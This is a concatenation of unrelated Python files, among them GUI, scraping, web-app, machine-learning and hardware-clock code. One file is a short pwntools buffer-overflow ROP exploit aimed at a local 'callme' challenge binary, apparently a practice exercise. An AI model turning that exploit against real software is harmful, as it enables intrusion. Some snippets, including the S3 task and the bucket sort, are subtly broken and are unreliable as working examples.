    box = PrimitiveBox(
        x, y, width, height, color=background_color,
        group=base_box_layer_group
    )
    text = TextField(
        x=x+padding_left, y=y+padding_bottom,
        width=width-padding_left-padding_right, caret_id=caret_id,
        height=height-padding_bottom-padding_top, text=text,
        font_size=font_size, font_name=font_name, font_bold=font_bold,
        group=field_layer_group, editable=editable, font_color=font_color
    )
    if editable and message is not None:
        caret_event = TextCaretEvent(
            message=message, msg_kwargs=msg_kwargs, caret_id=caret_id
        )
        return WindowObject([box, text], events=[caret_event])
    else:
        return WindowObject([box, text])

class TextField(AtomicDrawing):
    _payload_attrs = (
        "caret_id", "x", "y", "font_name", "font_size", "width", "height",
        "group", "font_bold"
    )
    # _payload_replaceable_attrs = ("x", "y")

    def __init__(
            self, x, y, text, width, height, caret_id, font_name="Helvetica",
            font_size=0, font_bold=False,
            font_color=(255, 255, 255, 255), group=None, editable=False,
            *args, **kwargs
    ):
        self.x, self.y, self.text = x, y, text
        self.width, self.height = width, height
        self.group = group
        self.font_color, self.font_bold = font_color, font_bold
        self.document = pyglet.text.document.UnformattedDocument(text)
        if font_size == 0:
            font_size = self.get_font_size(height, font_name)
        self.font_name, self.font_size = font_name, font_size
        self.document.set_style(
            0, -1,
            dict(font_name=font_name, font_size=font_size, color=font_color, bold=font_bold)
        )
        self.drawing = None
        self.caret = None
        self.caret_id = caret_id
        self.editable = editable
        if not editable:
            self._payload_attrs = self._payload_attrs + ("text", )
        super().__init__()

    def update(self, update_kwargs):
        for k, v in update_kwargs.items():
            if k in ("x", "y", "width", "height"):
                setattr(self, k, v)
                if self.drawing:
                    setattr(self.drawing, k, v)
                if self.caret:
                    self.caret.delete()
                    self.caret = None

    def draw(self, batch):
        """
        self.drawing = pyglet.text.layout.IncrementalTextLayout(
            self.document, self.width, self.height, multiline=False,
            batch=batch, group=self.group
        )
        """
        self.drawing = pyglet.text.layout.IncrementalTextLayout(
            self.document, self.width, self.height,
            batch=batch, group=self.group
        )
        if self.editable:
            self.caret = pyglet.text.caret.Caret(
                layout=self.drawing, batch=batch
            )
            TEXT_FIELDS[self.caret_id] = self
        self.drawing.x, self.drawing.y = self.x, self.y

    def done(self):
        if hasattr(self, "caret"):
            if self.caret:
                self.caret.visible = False
        super().done()

    def get_font_size(self, height, font_name="helvetica"):
        d = pyglet.text.document.UnformattedDocument("abcdefghijk")
        d.set_style(
            0, -1, dict(font_name=font_name, font_size=10)
        )
        size_10_font = d.get_font()
        size_10_height = size_10_font.ascent - size_10_font.descent
        d.set_style(
            0, -1, dict(font_name=font_name, font_size=20)
        )
        size_20_font = d.get_font()
        size_20_height = size_20_font.ascent - size_20_font.descent
        h_diff = size_20_height - size_10_height
        font_size = int(
            (height - size_10_height) * 10 / h_diff + 10
        )
        return font_size

    def on_caret_action(self, method_name, *args, **kwargs):
        if self.caret:
            f = getattr(self.caret, method_name)
            f(*args, **kwargs)
        self.text = self.document.text

    def set_caret_visible(self):
        if self.caret:
            self.caret.visible = True

    def set_caret_hidden(self):
        if self.caret:
            self.caret.visible = False

class TextCaretEvent(EventBase):
    registered_events = (
        "on_mouse_press", "on_mouse_drag", "on_text",
        "on_text_motion", "on_text_motion_select", "on_key_press",
    )
    _payload_attrs = (
        "caret_id", "msg_hash"
    )

    def __init__(
            self, message, caret_id, msg_kwargs=None,
            priority=0):
        """Event of text caret

        :param TextCaret text_caret_graphic:
        :param message:
        :param msg_kwargs:
        """
        self.priority = priority
        self.msg_constructor = message
        self.msg_kwargs = msg_kwargs or dict()
        self.msg_hash = str(message) + str(msg_kwargs)
        super().__init__()
        self.caret_id = caret_id

    @property
    def text_caret(self):
        tc = None
        for i, t in TEXT_FIELDS.items():
            if i == self.caret_id:
                tc = t
            else:
                t.set_caret_hidden()
        return tc

    def is_in_area(self, x, y):
        c_x, c_y = self.text_caret.x, self.text_caret.y
        width = self.text_caret.width
        height = self.text_caret.height
        flag = c_x <= x <= c_x+width and c_y <= y <= c_y+height
        if not flag:
            self.text_caret.set_caret_hidden()
        return flag

    def on_mouse_press(self, x, y, button, modifiers):
        if self.is_in_area(x, y):
            FOCUSED_ID[0] = self.caret_id
            self.text_caret.on_caret_action(
                "on_mouse_press", x, y, button, modifiers
            )
            return True, None
        else:
            if FOCUSED_ID[0] == self.caret_id:
                FOCUSED_ID[0] = 0
            return False, None

    def on_mouse_drag(self, x, y, dx, dy, buttons, modifiers):
        if FOCUSED_ID[0] == self.caret_id:
            self.text_caret.on_caret_action(
                "on_mouse_drag", x, y, dx, dy, buttons, modifiers
            )
            msg = self.msg_constructor(
                text=self.text_caret.text, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

    def on_text(self, text):
        if FOCUSED_ID[0] == self.caret_id:
            self.text_caret.on_caret_action(
                "on_text", text
            )
            msg = self.msg_constructor(
                text=self.text_caret.text, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

    def on_text_motion(self, motion):
        if FOCUSED_ID[0] == self.caret_id:
            self.text_caret.on_caret_action(
                "on_text_motion", motion
            )
            msg = self.msg_constructor(
                text=self.text_caret.text, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

    def on_text_motion_select(self, motion):
        if FOCUSED_ID[0] == self.caret_id:
            self.text_caret.on_caret_action(
                "on_text_motion_select", motion
            )
            msg = self.msg_constructor(
                text=self.text_caret.text, **self.msg_kwargs
            )
            return True, msg
        else:
            return False, None

class EventManager(object):

    def __init__(self, pyglet_window_api_handler, proxy):
        """Manage events

        :param PygletWindowApiHandler pyglet_window_api_handler:
        :param pathfinder.pygletelm.backend.StateProxy proxy:
        """
        self.api_handler = pyglet_window_api_handler
        self.api_handler.actions = [self.on_action]
        self.proxy = proxy
        self.events = dict()

    def update_events(self, new_events):
        new, update, delete = cache.diff(
            self.get_tags(self.events.values()), self.get_tags(new_events)
        )
        for d_id in delete:
            self._delete_event(d_id)
        for d in new_events:
            if d.identity in new:
                self._add_event(d)

    @classmethod
    def get_tags(cls, l):
        return [a.tag for a in l]

    def _delete_event(self, identity):
        if identity not in self.events:
            return
        d = self.events.pop(identity)
        d.done()

    def _add_event(self, event):
        self.events[event.identity] = event

    def on_action(self, action_name, *args, **kwargs):
        for e in sorted(self.events.values(), key=lambda x: -x.priority):
            if action_name not in e.registered_events:
                continue
            f = getattr(e, action_name)
            triggered, msg = f(*args, **kwargs)
            if triggered:
                if msg == WindowApiChangeCursor:
                    self.api_handler.window.set_mouse_cursor(msg.cursor)
                elif msg is not None:
                    self.proxy.push_message(msg)
                return True
        return False

class Provider(object):

    def __init__(
            self, proxy, resizable_window=True, retina_display=False,
            initial_window_size=(1024, 1024)):
        self.window_obj = pyglet.window.Window(resizable=resizable_window)
        self.window_obj.set_size(*initial_window_size)
        self.batch = pyglet.graphics.Batch()
        self.proxy = proxy
        self.window_api_handler = PygletWindowApiHandler(
            self.batch, self.window_obj, proxy=proxy, retina_display=retina_display
        )
        self.graphic_manager = GraphicManager(self.batch)
        self.event_manager = EventManager(self.window_api_handler, self.proxy)
        self.proxy.view_handlers.register(self.handle_view)
        self.window_obj.push_handlers(self.window_api_handler)

    def handle_view(self, view_result):
        """Handling the return value of view

        :param View view_result:
        """
        drawings = view_result.drawings
        self.graphic_manager.update_drawings(drawings)
        events = view_result.events
        self.event_manager.update_events(events)

def show_view_for_debug(view, timeout=0):
    """Show window of given `view()` function

    :param Callable view: returns the instance of View
    :return:
    """
    window = pyglet.window.Window()
    batch = pyglet.graphics.Batch()
    GlobalWindowInfo.width = window.width
    GlobalWindowInfo.height = window.height
    vs = view()

    @window.event
    def on_draw():
        pyglet.gl.glEnable(pyglet.gl.GL_BLEND)
        pyglet.gl.glBlendFunc(
            pyglet.gl.GL_SRC_ALPHA, pyglet.gl.GL_ONE_MINUS_SRC_ALPHA
        )
        batch.draw()
    for d in vs.drawings:
        d.draw(batch)
    if timeout:
        pyglet.clock.schedule_once(lambda *args: window.close(), timeout)
    pyglet.app.run()

if __name__ == "__main__":
    def view():
        return View(
            simple_circle(x=0.2, y=0.3, radius=0.1),
            simple_triangle(x0=0.3, y0=0.3, x1=0.8, y1=0.4, x2=0.5, y2=0.8)
        )
    show_view_for_debug(view)


from tweepy import OAuthHandler
import tweepy as tw
import pandas as pd
from constants.values import *

def twitter_data():
    # Collect tweets
    tweets = tw.Cursor(API.search,
                       q=SEARCH_WORDS,
                       lang="en",
                       since=DATE_SINCE).items(10)

    tweets_copy = []
    for tweet in tweets:
        tweets_copy.append(tweet)

    tweets_df = pd.DataFrame()
    for tweet in tweets_copy:
        hashtags = []
        # try:
        for hashtag in tweet.entities["hashtags"]:
            hashtags.append(hashtag["text"])
            text = API.get_status(id=tweet.id, tweet_mode='extended').full_text
        # except:
        #     pass
        tweets_df = tweets_df.append(pd.DataFrame({'user_name': tweet.user.name,
                                                   'user_location': tweet.user.location,
                                                   'user_description': tweet.user.description,
                                                   'user_created': tweet.user.created_at,
                                                   'user_followers': tweet.user.followers_count,
                                                   'user_friends': tweet.user.friends_count,
                                                   'user_favourites': tweet.user.favourites_count,
                                                   'user_verified': tweet.user.verified,
                                                   'date': tweet.created_at,
                                                   'text': text,
                                                   'hashtags': [hashtags if hashtags else None],
                                                   'source': tweet.source,
                                                   'is_retweet': tweet.retweeted}, index=[0]))
    print(tweets_df.head())

        # saving the dataframe as csv file
        #tweets_df.to_csv('twitter2_Covid_19.csv')
        #df = pd.read_csv(r"C:\Users\Admin\Desktop\Data_Science_Revision\Data_Science_Practical\NLP\covid19_tweets.csv")
    return tweets_df


#encoding:utf-8
#Time:2020/10/23 10:01
#Email:1215399218@qq.com
#Author:Mr.jia
#File:同排序.PY
#Software:PyCharm
def bucket(nums):
    big=max(nums)
    small=min(nums)
    sum=len(nums)
    d=big-small
    list=[]
    for i in range(sum):
        list.append([])
    for i in nums:
        k=int((i-big)*(sum-1)/d)
        list[k-1].append(i)
    # for i in range(len(list)):
    #     list[i].sort()
    sort_arr=[]
    return list
    # for i in list:
    #     for j in i:
    #         sort_arr.append(j)
    # return sort_arr
nums=[21,3,4,5,2,6,1]
print(bucket(nums))


# -*- coding: utf-8 -*-
"""
Spyder Editor

This is a temporary script file.
"""

# for single feature: Linear regression:

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt

fileData = pd.read_csv('ex1data1.txt', names = ['population', 'profit'])

print(fileData.head())

## Split population and profit into X and y
X_df = pd.DataFrame(fileData.population)  ### how is this working with data??? -_- shouldn't this be fileData??
y_df = pd.DataFrame(fileData.profit)
X_df.insert(0, 'Ones',1)

print(X_df)
## Length, or number of observations, in our data
m = len(X_df)

plt.figure(figsize=(10,8))  # size of graph
plt.plot(X_df, y_df, 'kx')  # What is kx here??
plt.xlabel('Population of City in 10,000s')
plt.ylabel('Profit in $10,000s')

plt.figure(figsize=(10,8))
plt.plot(X_df, y_df, 'k.')
plt.plot([5, 22], [6,6], '-')  # how are different colors coming?
plt.plot([5, 22], [0,20], '-')
plt.plot([5, 15], [-5,25], '-')
plt.xlabel('Population of City in 10,000s')
plt.ylabel('Profit in $10,000s')

### Hpow are we deicidng this??????
iterations = 1500
alpha = 0.01

## Add a columns of 1s as intercept to X (col appended in the end)

print(X_df)

## Transform to Numpy arrays for easier matrix math and start theta at 0
X = np.array(X_df)
y = np.array(y_df).flatten()
theta = np.array([0, 0])  # Here theta is necessary 0 or can be any value?????

print(X)
print(y)

def cost_function(X, y, theta):
    """
    cost_function(X, y, theta) computes the cost of using theta as the
    parameter for linear regression to fit the data points in X and y
    """
    ## number of training examples
    m = len(y)

    ## Calculate the cost with the given parameters
    ## X.dot(theta) is equal to matrix multiplicaton of X*theta
    J = np.sum((X.dot(theta)-y)**2)/2/m

    return J

cost_function(X, y, theta)

## does .dot take care of dimensions ewhile multiplying 2 vectors/matrices??

def gradient_descent(X, y, theta, alpha, iterations):
    """
    gradient_descent Performs gradient descent to learn theta
    theta = GRADIENTDESENT(X, y, theta, alpha, num_iters) updates theta by
    taking num_iters gradient steps with learning rate alpha
    """
    cost_history = [0] * iterations

    for iteration in range(iterations):
        hypothesis = X.dot(theta)
        loss = hypothesis-y
        gradient = X.T.dot(loss)/m
        theta = theta - alpha*gradient
        cost = cost_function(X, y, theta)
        cost_history[iteration] = cost

    return theta, cost_history

(t, c) = gradient_descent(X,y,theta,alpha, iterations)

print(t)
print(cost_function(X, y, t))
## Prediction
print(np.array([1,3.5]).dot(t))
print(np.array([1, 7]).dot(t))

## Plotting the best fit line
best_fit_x = np.linspace(0, 25, 20)
best_fit_y = [t[0] + t[1]*xx for xx in best_fit_x]

plt.figure(figsize=(10,6))
plt.plot(X_df.population, y_df, '.')
plt.plot(best_fit_x, best_fit_y, '-')
plt.axis([0,25,-5,25])
plt.xlabel('Population of City in 10,000s')
plt.ylabel('Profit in $10,000s')
plt.title('Profit vs. Population with Linear Regression Line')


from pwn import *

def args():
    a  = p64(0x00401ab0) # pop, pop, pop
    a += p64(1)          # arg1
    a += p64(2)          # arg2
    a += p64(3)          # arg3
    return a

p = process('./callme')
p.recv()

payload  = b'A' * 40
payload += p64(0x004017d9)                      # ret align
for i in [0x00401850, 0x00401870, 0x00401810]:  # one, two, three
    payload += args()                           # pop args
    payload += p64(i)                           # func

p.sendline(payload)
p.interactive()


import os
from dotenv import load_dotenv
from flask import (
    Flask,
    redirect,
    render_template,
    url_for,
    request,
    flash
)

from page_analyzer import db, html

app = Flask(__name__)

load_dotenv()
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY')
app.config['DATABASE_URL'] = os.getenv('DATABASE_URL')

@app.get('/')
def index():
    return render_template(
        'index.html'
    )

@app.post('/urls')
def post_url():
    url_entered = request.form.get('url')
    messages = html.validate_url(url_entered)

    if messages:
        for message in messages:
            flash(*message)
        return render_template(
            'index.html',
            url=url_entered,
        ), 422

    connection = db.connect(app)
    url_name = html.normalize_url(url_entered)
    url = db.get_url_by_name(connection, url_name)

    if url:
        flash('Страница уже существует', 'info')
    else:
        url = db.add_url(connection, url_name)
        flash('Страница успешно добавлена', 'success')

    db.close(connection)

    return redirect(
        url_for(
            'show_url',
            url_id=url.id,
        )
    )

@app.get('/urls')
def show_urls():
    connection = db.connect(app)
    urls = db.get_urls(connection)
    db.close(connection)

    return render_template(
        'urls.html',
        urls=urls,
    )

@app.get('/urls/<int:url_id>')
def show_url(url_id):
    connection = db.connect(app)
    url = db.get_url_by_id(connection, url_id)
    url_checks = db.get_checks(connection, url_id)
    db.close(connection)

    return render_template(
        'url.html',
        url=url,
        url_checks=url_checks,
    )

@app.post('/urls/<int:url_id>/checks')
def check_url(url_id):
    connection = db.connect(app)
    url = db.get_url_by_id(connection, url_id)
    page_data = html.get_page_data(url.name)

    if not page_data or page_data.get('status_code') != 200:
        flash('Произошла ошибка при проверке', 'danger')
    else:
        db.add_check(connection, url_id, page_data)
        flash('Страница успешно проверена', 'success')

    url_checks = db.get_checks(connection, url_id)
    db.close(connection)

    return render_template(
        'url.html',
        url=url,
        url_checks=url_checks,
    )


import gym

from gym import spaces
from gym.utils import seeding

import random
import sys
import numpy as np

# Gridworld. ' ' is an empty cell, '-' or '|' is a wall, and 'G' the goal.
# 11 lines (y) and 9 rows (x), agent begins at the top left corner (GRID[0][0])
'''GRID = [
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],
    ['-', '-', '-', '-', ' ', '-', '-', '-', '-'],
    [' ', ' ', '|', ' ', ' ', ' ', '|', ' ', ' '],
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],
    [' ', ' ', '|', ' ', ' ', ' ', '|', ' ', ' '],
    ['-', '-', '-', '-', ' ', '-', '-', '-', '-'],
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', ' '],
    [' ', ' ', ' ', ' ', ' ', ' ', ' ', ' ', 'G'],
]
'''
REWARD = {' ': -1.0, 'G': 100.0}
TERMINAL = {' ': False,'G': True}

class myGrid(gym.Env):
    def __init__(self, y = 11, x = 9):
        num_states = x * y

        self.y = y
        self.x = x
        self.grid = [[' ' for x in range(self.x)] for y in range(self.y)]
        self.createGrid()
        self.display()

        self.action_space = spaces.Discrete(4)  # nb actions : Up, Down, Right, Left
        self.observation_space = spaces.Box(np.zeros((num_states,)), np.ones((num_states,)))
        self._seed()

        self._max_x = 0
        self._max_y = 0
        self.reset()

    def _seed(self, seed=None):
        self.np_random, seed = seeding.np_random(seed)
        return [seed]

    def display(self):
        for y in range(self.y):
            for x in range(self.x):
                if x != self.x - 1:
                    print(self.grid[y][x], end='')
                else:
                    print(self.grid[y][x])

    def createGrid(self):
        roomHeight = (self.y - 2) // 3 # height of the gird - 2 walls divided by 3 rooms
        centerLine = (self.y - 1) // 2 # 2 of the 4 doors have this y coordinate
        centerColumn = (self.x - 1) // 2 # 2 of the 4 doors have this x coordinate

        z = 0
        for y in range(self.y):
            z += 1
            if (z > roomHeight):
                for x in range(self.x):
                    if not (x == centerColumn):
                        self.grid[y][x] = '-'
                z = 0
            if (y > roomHeight) and (y <= 2 *roomHeight) and (y != centerLine):
                for x in range(self.x):
                    if (((x+1) == roomHeight) or (x == 2*roomHeight)) :
                            self.grid[y][x] = '|'

       # self.grid[self.x//3][(self.x-1)//2] = '#' # 4 doors
       # self.grid[(self.y-1)//2][(self.x-1)//3] = '#'
       # self.grid[(self.y-1)//2][(2*self.x)//3] = '#'
       # self.grid[((2*self.x)//3)+1][(self.x-1)//2] = '#'
        self.grid[self.y-1][self.x-1] = 'G'

    def displayPosition(self):
        for y in range(self.y):
            for x in range(self.x):
                if y == self._y and x == self._x:
                    if x != self.x-1:
                        print('X', end='')
                    else:
                        print('X')
                else:
                    if x != self.x-1:
                        print(self.grid[y][x], end='')
                    else:
                        print(self.grid[y][x])
        print('---------')
        print('---------')

    def reset(self):
        """ Reset the environment and return the initial state number
        """
        print(self._max_x, self._max_y, file=sys.stderr)
        sys.stderr.flush()

        # Put the agent in the bottom-left corner of the environment
        self._x = 0
        self._y = 0
        self._timestep = 0
        self._max_x = 0
        self._max_y = 0

        return self.current_state()

    def step(self, action):
        """ Perform an action in the environment. Actions are as follows:

            - 0: go up
            - 1: go down
            - 2: go left
            - 3: go right
        """
        assert(action >= 0)
        assert(action <= 3)

        self._timestep += 1
        self._max_x = max(self._max_x, self._x)
        self._max_y = max(self._max_y, self._y)

        # If cell resulting from action= '-' or '|'--> wall, then agent does not move
        wall_x = self._x
        wall_y = self._y

        if action == 0 and self._y > 0:
            # Go up
            self._y -= 1
        elif action == 1 and self._y < self.y - 1:
            # Go down
            self._y += 1
        elif action == 2 and self._x > 0:
            # Go left
            self._x -= 1
        elif action == 3 and self._x < self.x - 1:
            # Go right
            self._x += 1

        # wall
        if self.grid[self._y][self._x] == '-' or self.grid[self._y][self._x] == '|':
            self._x = wall_x
            self._y = wall_y

        cell = self.grid[self._y][self._x]
        if cell == 'G':
            print("Goal reached!")

        #self.displayPosition()

        # Return the current state, a reward and whether the episode terminates
        done = self._timestep > 500
        r = -50. if done else REWARD[cell]

        return self.current_state(), r, TERMINAL[cell] or done, {}

    def current_state(self):
        state_index = (self._y * self.x) + self._x
        num_states = self.x * self.y

        rs = np.zeros((num_states,), dtype=np.float32)
        rs[state_index] = 1.0

        return rs


import sys
sys.stdin=open('bj1929.txt','r')

M,N=map(int,input().split())
*s,=range(N+1)
for i in s[2:]:
    if s[i]:
        s[2*i::i]=[0]*(N//i-1)
        if(i>=M):print(i)

N,M=map(int,input().split())
Map=[1,1]+[0]*(M-1)
for i in range(2,(M+1)//2):
    if Map[i]:continue
    tmp=i
    while True:
        tmp+=i
        if tmp>M:break
        Map[tmp]=1
for p in range(N,M+1):
    if not Map[p]:print(p)


from django.shortcuts import render, redirect, HttpResponse
from .models import Investimento
from .forms import InvestimentoForm
from django.contrib.auth.decorators import login_required

# Create your views here.

# def pagina_inicial(request):
#     return HttpResponse('Pronto para investir!')

def pagina_contato(request):
    return HttpResponse('Informações de contato: \n juancostask@gmail.com')

def minha_historia(request):
    pessoa = {
        'nome':'jonas',
        'idade':28,
        'hobby':'Games'
    }
    return render(request, 'investimentos/minha_historia.html',pessoa)

def meus_investimentos(request):
    dados = {
        'dados':Investimento.objects.all()
    }
    return render(request,'investimentos/meus_investimentos.html',context=dados)

def detalhe(request, id_investimento):
    dados = {
        'dados': Investimento.objects.get(pk=id_investimento)
    }
    return render(request,'investimentos/detalhe.html',dados)

def criar(request):
    if request.method =='POST':
        investimento_form = InvestimentoForm(request.POST)
        if investimento_form.is_valid():
            investimento_form.save()
        return redirect('meus_investimentos')
    investimento_form = InvestimentoForm()
    formulario = {
        'formulario': investimento_form
    }
    return render(request, 'investimentos/novo_investimento.html',context=formulario)

def editar(request,id_investimento):
    investimento = Investimento.objects.get(pk=id_investimento)
    if request.method =='GET':
        formulario = InvestimentoForm(instance=investimento)
        return render(request,'investimentos/novo_investimento.html',{'formulario': formulario})
    else:
        if request.method =='POST':
            formulario = InvestimentoForm(request.POST, instance=investimento)
        if formulario.is_valid():
            formulario.save()
        return redirect('meus_investimentos')

def excluir(request,id_investimento):
    investimento = Investimento.objects.get(pk=id_investimento)
    if request.method =='POST':
        investimento.delete()
        return redirect('meus_investimentos')
    return render(request,'investimentos/confirmar_exclusao.html',{'item':investimento})


import json
import time
import pigpio
import os

from datetime import datetime
from time import localtime, strftime, mktime
from threading import Timer

from event import Event
from gra_afch import GraAfch
from ncs31x import Ncs31x

class RepeatTimer(Timer):
    def __init__(self, interval, f, *args, **kwargs):
        self.interval = interval
        self.f = f
        self.args = args
        self.kwargs = kwargs

        self.timer = None

    def callback(self):
        self.f(*self.args, **self.kwargs)
        self.start()

    def cancel(self):
        self.timer.cancel()

    def start(self):
        self.timer = Timer(self.interval, self.callback)
        self.timer.start()

class Display:
    """display utilities
    """

    VERSION = '0.0.1'

    _gra_afch = None
    _event = None
    _conf_dict = None

    _sec_timer = None
    _blank_timer = None

    _is_blank = None

    _tick_event = None
    _blank_event = None
    _unblank_event = None

    _state = None
    _state_machine = None

    def clean_display(self):
        display = [0 for _ in range(8)]

        self._gra_afch._ncs31x.unblank()
        self._gra_afch._ncs31x.backlight([0, 0, 0])

        for _ in range(10):
            for ch in range(10):
                for tube in range(8):
                    display[tube] = ch
                self._gra_afch.display_numerals(display)
                time.sleep(0.01)
                self._gra_afch._ncs31x.clear()

    def blank_display(self):
        self._event.send(self._blank_event)

    def unblank_display(self):
        self._event.send(self._unblank_event)

    def _blank(self):
        self._is_blank = True
        self._gra_afch._ncs31x.blank()
        self._gra_afch._ncs31x.backlight([0, 0, 0])

    def _unblank(self):
        self._is_blank = False
        self._gra_afch._ncs31x.unblank()
        self._gra_afch._ncs31x.backlight(self._conf_dict["back-light"])

    def _date(self):
        self._gra_afch._ncs31x.blank()
        time.sleep(.25)
        self._gra_afch._ncs31x.unblank()
        for _ in range(5):
            time.sleep(1)
            self._gra_afch.date()
        self._gra_afch._ncs31x.clear()
        if self._is_blank:
            self._gra_afch._ncs31x.blank()

    def time(self):
        return datetime.fromtimestamp(mktime(self._gra_afch._ncs31x.read_rtc(False)))

    # simple state machine
    def state_machine(self, event):
        key = list(event.keys())[0]
        # print(self._state, end=" ")
        # print(event)
        self._state_machine[self._state][key][0](self)
        self._state = self._state_machine[self._state][key][1]

    # main event loop
    def event_loop(self):
        while True:
            event = self._event.wait()
            self.state_machine(event)

    def __init__(self, gra_afch, event):
        """initialize the display module
        """
        self._conf_dict = gra_afch._conf_dict;

        self._event = event
        self._gra_afch = gra_afch

        self._state = 'time'
        self._state_machine = {
            'blank': dict([
                ( 'tick',        [ lambda self: None, 'blank' ] ),
                ( 'blank',       [ lambda self: None, 'blank' ] ),
                ( 'unblank',     [ lambda self: Display._unblank(self), 'time' ] ),
                ( 'up-button',   [ lambda self: Display._unblank(self), 'time' ] ),
                ( 'down-button', [ lambda self: Display._unblank(self), 'time' ] ),
                ( 'mode-button', [ lambda self: Display._unblank(self), 'time' ] ),
            ]),
            'date': dict([
                ( 'tick',        [ lambda self: Display._date(self), 'date' ] ),
                ( 'blank',       [ lambda self: Display._blank(self), 'date' ] ),
                ( 'unblank',     [ lambda self: Display._unblank(self), 'date' ] ),
                ( 'up-button',   [ lambda self: None, 'time' ] ),
                ( 'down-button', [ lambda self: None, 'time' ] ),
                ( 'mode-button', [ lambda self: None, 'time' ] ),
            ]),
            'time': dict([
                ( 'tick',        [ lambda self: GraAfch.time(self._gra_afch), 'time' ] ),
                ( 'blank',       [ lambda self: Display._blank(self), 'blank' ] ),
                ( 'unblank',     [ lambda self: Display._unblank(self), 'time' ] ),
                ( 'up-button',   [ lambda self: None, 'time' ] ),
                ( 'down-button', [ lambda self: None, 'time' ] ),
                ( 'mode-button', [ lambda self: Display._date(self), 'date' ] ),
            ]),
        }

        if self._conf_dict['ntp']:
            gra_afch._ncs31x.write_rtc(datetime.now().timetuple())

        self._tick_event = event.event('tick', None)
        self._blank_event = event.event('blank', None)
        self._unblank_event = event.event('unblank', None)

        # seconds timer
        self._sec_timer = RepeatTimer(1, lambda: event.send(self._tick_event))
        self._sec_timer.start()

        # display timeout
        if self._conf_dict['blank-timeout']:
            tm = self._conf_dict['blank-timeout']
            self._blank_timer = RepeatTimer(tm, lambda: event.send(self._blank_event))
            self._blank_timer.start()


import boto3
import time
import os
import csv
from datetime import datetime
import json

def main():
    event_bridge = boto3.client("events")

    data_s3_bucket_name = os.environ.get["S3_BUCKET_NAME"]
    data_s3_object_key = os.environ.get["S3_OBJECT_KEY"]

    if None == data_s3_bucket_name or None == data_s3_object_key:
        raise Exception(
            "S3_BUCKET_NAME and S3_OBJECT_KEY must be set in environment variables"
        )

    print("S3_BUCKET_NAME: " + data_s3_bucket_name)
    print("S3_OBJECT_KEY: " + data_s3_object_key)

    local_file = "/tmp/data.tsv"

    s3_resource = boto3.resource("s3")
    s3_resource.Object(data_s3_bucket_name, data_s3_object_key).download_file(
        local_file
    )

    print("Successfully downloaded file from S3" + local_file)

    with open(local_file) as csvfile:
        reader = csv.reader(csvfile, delimiter=",")
        headers = next(reader)

        for row in reader:
            print(",".join(row))
            event = {
                "status": "extracted",
                "headers": ",".join(headers),
                "data": ",".join(row),
            }
            response = event_bridge.put_events(
                Entries=[
                    {
                        "DetailType": "s3RecordExtraction",
                        "EventBusName": "default",
                        "Source": "eventbridge-s3-extraction-task",
                        "Time": datetime.now(),
                        "Detail": json.dumps(event),
                    }
                ]
            )
        exit(0)

if __name__ == "__main__":
    main()


# Built-in libraries
from os import listdir
from os.path import join
import multiprocessing as mp
import random

# 3rd-party libraries
import cv2

class Dataset(object):
    num_processes = 5

    def __init__(self, data_folder, train_portion=0.99, mean=[0., 0., 0.], shuffle=True):
        self.data_folder = data_folder
        self.file_names = listdir(data_folder)
        self.data_size = len(self.file_names)
        self.mean = mean
        self.training_size = int(self.data_size*train_portion) # size of train set, the rest is validation set
        self.batch_pos = 0  # Position to get batch
        if shuffle == True:
            self.list_train_x, self.list_valid_x = self.shuffleData(self.file_names)
        else:
            N = self.training_size
            self.list_train_x = self.file_names[:N]
            self.list_valid_x = self.file_names[N:]

        self.valid_x, self.valid_y_ = self.getData(self.list_valid_x)
#         print(self.valid_x)
        print('Finished initializing dataset.')
        print('Data folder location:', self.data_folder)
        print('Dataset size:', self.data_size)
        print('Validation set size:', len(self.valid_x))

    def shuffleData(self, file_names):
        N = self.training_size
        random.shuffle(file_names)
        return file_names[:N], file_names[N:]

    def getNextBatch(self, batch_size):
        next_pos = self.batch_pos + batch_size
        batch_x, batch_y_ = self.getData(self.list_train_x[self.batch_pos:next_pos])
        if next_pos >= self.training_size:
            next_pos = 0
        self.batch_pos = next_pos
        return batch_x, batch_y_

    def getData(self, images_list):
        with mp.Manager() as manager:
            images = manager.list()
            labels = manager.list()
            processes = []
            for index in range(self.num_processes):
                p = mp.Process(target=self.getImage, args=(images_list, images, labels, index)) # Pass the list
                p.start()
                processes.append(p)
            for p in processes:
                p.join()
            return images[:], labels[:]

    def getImage(self, images_list, images, labels, index):
        for i in range(index, len(images_list), self.num_processes):
            current_file_name = images_list[i]
            src = cv2.imread(join(self.data_folder, current_file_name))
            out_img = cv2.resize(src, (224, 224))

            images.append(list(out_img))
            if current_file_name[0:3] == 'cat':
                labels.append([1, 0])
            elif current_file_name[0:3] == 'dog':
                labels.append([0, 1])


import sys
import cv2
import numpy as np
from PyQt5.QtWidgets import QMainWindow, QFileDialog
from PyQt5.QtGui import QImage, QPixmap
from PyQt5.QtCore import QThread
from PyQt5 import QtCore

from mainWindow import Ui_Form
from models import ImageProcess, Mora

class StartWindow(QMainWindow, Ui_Form):
    def __init__(self, camera):
        super(StartWindow, self).__init__()
        self.setupUi(self)
        self.init_ui()
        # 相機
        self.camera = camera
        self.state = 0
        self.movie_thread = MyThread(self.refreshShow)
        self.process_thread = MyThread(self.process)
        self.img_process_thread = MyThread(self.process)
        self.image_process = ImageProcess()

    def init_ui(self):
        # 信號與槽連接, PyQt5 與 Qt5相同, 信號可綁定普通成員函數
        self.btn_open.clicked.connect(self.openSlot)
        self.btn_save.clicked.connect(self.saveSlot)
        self.btn_play.clicked.connect(self.play)
        self.btn_quit.clicked.connect(self.close)
        self.btn_soble.clicked.connect(self.on_soble_click)
        self.btn_binary.clicked.connect(self.on_binary_click)
        self.btn_gray.clicked.connect(self.on_gray_click)
        self.btn_find_contours.clicked.connect(self.on_find_contours)

    def openSlot(self):
        self.btn_quit.setEnabled(True)
        self.btn_save.setEnabled(True)
        self.btn_play.setEnabled(True)
        self.btn_gray.setEnabled(True)
